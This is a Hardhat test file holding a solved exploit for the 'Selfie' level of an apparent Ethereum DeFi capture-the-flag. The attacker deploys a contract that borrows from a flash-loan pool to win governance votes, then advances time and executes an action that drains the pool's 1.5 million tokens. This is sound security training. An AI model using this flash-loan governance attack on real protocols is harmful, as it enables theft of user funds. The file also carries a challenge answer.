text: const { ethers } = require('hardhat');
  const { expect } = require('chai');
  
  describe('[Challenge] Selfie', function () {
      let deployer, attacker;
  
      const TOKEN_INITIAL_SUPPLY = ethers.utils.parseEther('2000000'); // 2 million tokens
      const TOKENS_IN_POOL = ethers.utils.parseEther('1500000'); // 1.5 million tokens
      
      before(async function () {
          /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
          [deployer, attacker] = await ethers.getSigners();
  
          const DamnValuableTokenSnapshotFactory = await ethers.getContractFactory('DamnValuableTokenSnapshot', deployer);
          const SimpleGovernanceFactory = await ethers.getContractFactory('SimpleGovernance', deployer);
          const SelfiePoolFactory = await ethers.getContractFactory('SelfiePool', deployer);
  
          this.token = await DamnValuableTokenSnapshotFactory.deploy(TOKEN_INITIAL_SUPPLY);
          this.governance = await SimpleGovernanceFactory.deploy(this.token.address);
          this.pool = await SelfiePoolFactory.deploy(
              this.token.address,
              this.governance.address    
          );
  
          await this.token.transfer(this.pool.address, TOKENS_IN_POOL);
  
          expect(
              await this.token.balanceOf(this.pool.address)
          ).to.be.equal(TOKENS_IN_POOL);
      });
  
      it('Exploit', async function () {
          /** EXPLOIT -- SOLVED */
          /** 
           * vulnerability: flash loan can be used to get governance votes
           * */
  
          try {
              const SelfieChallenge = await ethers.getContractFactory("SelfieChallenge", attacker);
              const sc = await SelfieChallenge.deploy();
              await sc.deployed();
      
              const attack = await sc.attack(this.pool.address, this.token.address);
              await attack.wait();
      
              const actionId = await sc.actionId();
              await ethers.provider.send("evm_increaseTime", [2 * 24 * 60 * 60]); // 2 days
              this.governance.executeAction(actionId);
          } catch (error) {
              console.log(error);
          }
      });
  
      after(async function () {
          /** SUCCESS CONDITIONS */
  
          // Attacker has taken all tokens from the pool
          expect(
              await this.token.balanceOf(attacker.address)
          ).to.be.equal(TOKENS_IN_POOL);        
          expect(
              await this.token.balanceOf(this.pool.address)
          ).to.be.equal('0');
      });
  });
  